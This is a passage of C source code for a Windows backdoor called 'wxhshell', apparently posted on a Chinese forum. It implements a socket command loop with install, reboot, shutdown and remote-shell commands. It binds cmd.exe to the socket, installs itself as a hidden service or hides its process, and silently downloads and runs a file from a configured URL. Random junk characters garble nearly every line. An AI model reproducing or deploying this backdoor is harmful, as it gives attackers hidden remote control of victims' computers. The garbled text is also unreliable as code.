  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aiUn bP  
  } <w08p*?  
  else { vO <;Gnh~  
$g 5pKk  
    switch(cmd[0]) { &a1agi7M  
  8=t?rA  
  // 帮助 _es>G'S  
  case '?': { <g,xc)[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FVL0K(V(  
    break; (9'MdH  
  } <9B43  
  // 安装 <XGOcekG  
  case 'i': { %`%1W MO  
    if(Install()) |+ @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k|a{ |2p  
    else 3{~h Rd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {.eC"  
    break; :9]23'Md  
    } h&.9Q{D  
  // 卸载 tz._*n83  
  case 'r': { H`B%6S /  
    if(Uninstall()) mn4j#-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W:hR8 1ci  
    else ?=f\oH$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 90teXxg=|  
    break;  m ,qU})  
    } !=I:Uc-Y  
  // 显示 wxhshell 所在路径 R4p bi=  
  case 'p': { $;"@;Lj%,  
    char svExeFile[MAX_PATH]; kRZ(  
    strcpy(svExeFile,"\n\r"); K\=bpc"Fy  
      strcat(svExeFile,ExeFile); $kkdB,y  
        send(wsh,svExeFile,strlen(svExeFile),0); .r[J} O"  
    break; 6WI_JbT~  
    } ApjLY58=  
  // 重启 E=HS'XKu[K  
  case 'b': { sRt|G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `hI1  
    if(Boot(REBOOT)) hW _NARA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !>gc!8Y'o  
    else { >/ HC{.k  
    closesocket(wsh); eHd{'J<  
    ExitThread(0); !(l,+@j  
    } |oPqX %?  
    break; g 9>p?XY  
    } SJIJV6}H  
  // 关机 bbA+ZLZJn  
  case 'd': { &=@ R,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5j,)}AYO  
    if(Boot(SHUTDOWN)) [Z~>7ayF+)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +~8/7V22  
    else { >3 qy'lm  
    closesocket(wsh); +- c#UO>  
    ExitThread(0); %Xkynso~  
    } oPm1`x  
    break; 7o0e j#  
    } 9Ni$nZN  
  // 获取shell |) T HuE(  
  case 's': { )u3<lpoTy  
    CmdShell(wsh); LTBqXh  
    closesocket(wsh); @fbvu_-].  
    ExitThread(0); U>ob)-tl  
    break; jk) V[7P  
  } |44CD3A%  
  // 退出 LOR$d^l  
  case 'x': { }*IX34  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $?wX*  
    CloseIt(wsh); >:KPvq!0  
    break; (O /hu3  
    } W53i5u(  
  // 离开 ^9qncvV  
  case 'q': { sN^R Z0!>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); mbJ#-^}V  
    closesocket(wsh); k3^S^Bv\  
    WSACleanup(); -%%2Pz0I  
    exit(1); ?%*Zgk!l7  
    break; k NK)mE  
        } Tet,mzVuu  
  } &[23DrI8  
  } .CwMxuW  
|]\qI  
  // 提示信息 b`18y cVME  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :+!hR4Z~\;  
} 'DRyOJnr  
  } 0Oe@0L%^3"  
GJ{]}fl  
  return; |w:7).P  
} xqM R[W\x  
)CihqsA2  
// shell模块句柄 HQv#\Xi1  
int CmdShell(SOCKET sock) H[!by)H  
{ R &T(S  
STARTUPINFO si; 2l8jw:=H  
ZeroMemory(&si,sizeof(si)); OC"W=[Myl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u=RF6V|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; el-%#0  
PROCESS_INFORMATION ProcessInfo; `')3}  
char cmdline[]="cmd"; Y/)>\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WAkKbqJV  
  return 0; 8Qek![3^  
} 0u -'{6  
.P-@ !Q5*  
// 自身启动模式 4}fG{Bk  
int StartFromService(void) ix*n<lCoC  
{  8(5}Jo+  
typedef struct }|AUV  
{ F7cv`i?2."  
  DWORD ExitStatus; #pE : !D  
  DWORD PebBaseAddress; BEifUgCh  
  DWORD AffinityMask; C+*: lLY  
  DWORD BasePriority; krI<'m;a  
  ULONG UniqueProcessId;  h ej  
  ULONG InheritedFromUniqueProcessId; OpUC98p?@  
}   PROCESS_BASIC_INFORMATION; w+*Jl}&\  
V 7%rKK  
PROCNTQSIP NtQueryInformationProcess; }(20MW8rMc  
E3;[*ve  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _ z{:Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l;F3kA  
9m%[ y1v0  
  HANDLE             hProcess; "*XR'9~7  
  PROCESS_BASIC_INFORMATION pbi; g' H!%<  
 ()=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |*i0h`a  
  if(NULL == hInst ) return 0; $iupzVrro  
/ ~w\Npf0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G8Ns?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YRAWylm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '@ (WT~g  
bj ZcWYT  
  if (!NtQueryInformationProcess) return 0; ^MKvZ DOP  
?b:l.0m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mp+ %@n.;  
  if(!hProcess) return 0; 4{[Df$'e>  
Y u8a8p|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qpe&_.&RE  
g75)&U`>}  
  CloseHandle(hProcess); 59F AhEg  
}{J<Wzw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NoV)}fX$X8  
if(hProcess==NULL) return 0; O*`] ]w]  
(kK6=Mrf  
HMODULE hMod; B9&"/tT  
char procName[255]; Y2"X;`<  
unsigned long cbNeeded; AQDT6E:  
WIa4!\Ky!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p. SEW5  
))K3pKyb  
  CloseHandle(hProcess); KtG|m'\D  
FI`][&]V  
if(strstr(procName,"services")) return 1; // 以服务启动 2bPrND\P=  
t$m268m~  
  return 0; // 注册表启动 UpF,e>s  
} j,Eo/f+j5  
KnaQhZ  
// 主模块 Jlj=FA`  
int StartWxhshell(LPSTR lpCmdLine) :,h47'0A  
{ }S\\"SBC  
  SOCKET wsl; 3P2H!r  
BOOL val=TRUE; 7q&Ru|T33  
  int port=0; ,edX;`#  
  struct sockaddr_in door; O-[lL"T  
Y;O\ >o[  
  if(wscfg.ws_autoins) Install(); k|(uIU* ]  
9%^q?S/Rv  
port=atoi(lpCmdLine); K;a]+9C  
.]SE>3  
if(port<=0) port=wscfg.ws_port; u 0(H!  
9tDo5 29  
  WSADATA data; oJE~dY$Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9lbe[w @  
F'^6 ra9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2Z;wU]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~>2@55wElp  
  door.sin_family = AF_INET; j qfxQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =~}\g;K1Q  
  door.sin_port = htons(port); `O4Ysk72x9  
FH:^<^M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dtD)VNkBZ  
closesocket(wsl); Y3KKskhLx  
return 1; 1Tz5tU9kR  
} .-2i9Bh6  
8@pY:AY  
  if(listen(wsl,2) == INVALID_SOCKET) { n]c6nX:'  
closesocket(wsl); )!M %clm.  
return 1; =m]|C1x  
} lM oi5q  
  Wxhshell(wsl); I<yd=#:n  
  WSACleanup(); Qk2^p^ T6  
=8:m:Y&|`G  
return 0; gx,BF#8}  
sx7;G^93  
} H <7r  
oRH ]67(Z  
// 以NT服务方式启动 Awy-kou[C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n3Uw6gLD  
{ LE$_qX`L  
DWORD   status = 0;  &ig6\&1  
  DWORD   specificError = 0xfffffff; k<xPg5  
a k&G=a6^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %N``EnF2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {6}H}_( ]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R <Mvwu  
  serviceStatus.dwWin32ExitCode     = 0; "*E06=fiG  
  serviceStatus.dwServiceSpecificExitCode = 0; )*6 ]m1  
  serviceStatus.dwCheckPoint       = 0; JAEn 72  
  serviceStatus.dwWaitHint       = 0; J" :R,w`  
,n )f=q*%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R)}ab{A  
  if (hServiceStatusHandle==0) return; zX=K2tH  
k/'>,WE  
status = GetLastError(); pYXusS7S  
  if (status!=NO_ERROR) Qy< ~{6V  
{ =Rv!c+?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r5#8V zr  
    serviceStatus.dwCheckPoint       = 0; +q*Cw>t /  
    serviceStatus.dwWaitHint       = 0; R1A|g =kF  
    serviceStatus.dwWin32ExitCode     = status; d#l z^Ls2  
    serviceStatus.dwServiceSpecificExitCode = specificError; v>S[} du  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6d%V=1^F  
    return; b9 Gq';o  
  } .lbo\v}2W  
{c|{okQ;Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .eZsKc-@  
  serviceStatus.dwCheckPoint       = 0; =H8 LBM  
  serviceStatus.dwWaitHint       = 0; IhRWa|{I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .A6i?iROe  
} XXwe/>J  
Qg^Ga0Lf6  
// 处理NT服务事件,比如:启动、停止 @cc4]>4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G&7!3u  
{ on0MhW  
switch(fdwControl) E$8 D^Zt  
{ m@A?'gD  
case SERVICE_CONTROL_STOP: )c;zNs  
  serviceStatus.dwWin32ExitCode = 0; j*7#1<T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }={TVs^  
  serviceStatus.dwCheckPoint   = 0; _zuX6DO  
  serviceStatus.dwWaitHint     = 0; C*C;n4AT  
  { q eW{Cl~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |O!G[|/3  
  } :_0"t-  
  return; n^xB_DJ~  
case SERVICE_CONTROL_PAUSE: |``rSEXYs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 16cc9%   
  break; O/{X:Ja{  
case SERVICE_CONTROL_CONTINUE: vGST{Lz;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :U{$G( <  
  break; i L48  
case SERVICE_CONTROL_INTERROGATE: Dwx^hNh  
  break; $URL7hrhU  
}; OZ SM2~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _G62E $=  
} kWZ@v+Mk3  
8mh@C6U  
// 标准应用程序主函数 9CNeMoA$p:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gXb * zt2  
{ azCod1aL{  
Y<WA-dYoF  
// 获取操作系统版本 Ug P  
OsIsNt=GetOsVer(); N"zg)MsX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K'@lXA:  
lK2=[%,~  
  // 从命令行安装 iTu~Y<'m  
  if(strpbrk(lpCmdLine,"iI")) Install(); FPC^-mD  
UzKB"Q  
  // 下载执行文件 &W*do  
if(wscfg.ws_downexe) { x^XP<R{D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;JHR~ TV  
  WinExec(wscfg.ws_filenam,SW_HIDE); 86f8b{_e"  
} 5\jzIB_?  
^U.t5jj  
if(!OsIsNt) { Sa 8T'%W  
// 如果时win9x,隐藏进程并且设置为注册表启动 8iwH^+h~  
HideProc(); nYE' 'g+x  
StartWxhshell(lpCmdLine); WMXxP gik  
} /V"6Q'D  
else tm|YUat$]r  
  if(StartFromService()) tW[dJKw  
  // 以服务方式启动 *a2-Vte  
  StartServiceCtrlDispatcher(DispatchTable); o @(.4+2m  
else ]q":ta!f  
  // 普通方式启动 'S'Z-7h>0  
  StartWxhshell(lpCmdLine); Lyy:G9OV  
/DGEI&}&:u  
return 0; =>Q$S  
}
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只看该作者 1 发表于: 2006-10-10
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